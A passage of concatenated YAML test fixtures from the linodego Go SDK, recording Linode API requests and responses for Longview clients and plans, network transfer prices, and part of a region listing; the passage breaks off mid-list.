golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLongviewClient_List.yaml000066400000000000000000000027761474652371000322500ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients method: GET response: body: '{"data": [], "page": 1, "pages": 1, "results": 0}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLongviewClient_Update.yaml000066400000000000000000000116361474652371000325520ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"testing"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients method: POST response: body: '{"id": 342828, "label": "testing", "api_key": "720ADF39-D75A-47E9-958E98F14C9A40D8", "install_code": "BD08C3CB-F9E7-4C0B-B1C88256375692C0", "apps": {"apache": 0, "nginx": 0, "mysql": 0}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "254" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:31:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"testing_updated"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients/342828 method: PUT response: body: '{"id": 342828, "label": "testing_updated", "api_key": "720ADF39-D75A-47E9-958E98F14C9A40D8", "install_code": "BD08C3CB-F9E7-4C0B-B1C88256375692C0", "apps": {"apache": false, "nginx": false, "mysql": false}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "274" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:31:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/clients/342828 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:31:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLongviewPlan_Get.yaml000066400000000000000000000027521474652371000315220ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/plan method: GET response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:30:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLongviewPlan_Update.yaml000066400000000000000000000110111474652371000322110ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/plan method: GET response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:30:20 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"longview_subscription":"longview-10"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/plan method: PUT response: body: '{"id": "longview-10", "label": "Longview Pro 10 pack", "price": {"hourly": 0.06, "monthly": 40.0}, "clients_included": 10}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "122" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:30:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"longview_subscription":""}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/longview/plan method: PUT response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 01 Jul 2024 19:30:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - longview:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNetworkTransferPrice_List.yaml000066400000000000000000000037651474652371000334370ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/network-transfer/prices?page=1 method: GET response: body: '{"data": [{"id": "distributed_network_transfer", "label": "Distributed Network Transfer", "price": {"hourly": 0.01, "monthly": null}, "region_prices": [], "transfer": 0}, {"id": "network_transfer", "label": "Network Transfer", "price": {"hourly": 0.005, "monthly": null}, "region_prices": [{"id": "id-cgk", "hourly": 0.015, "monthly": null}, {"id": "br-gru", "hourly": 0.007, "monthly": null}], "transfer": 0}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "448" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 04 Sep 2024 18:06:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestNodeBalancerConfig_Create.yaml000066400000000000000000000667171474652371000332570ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 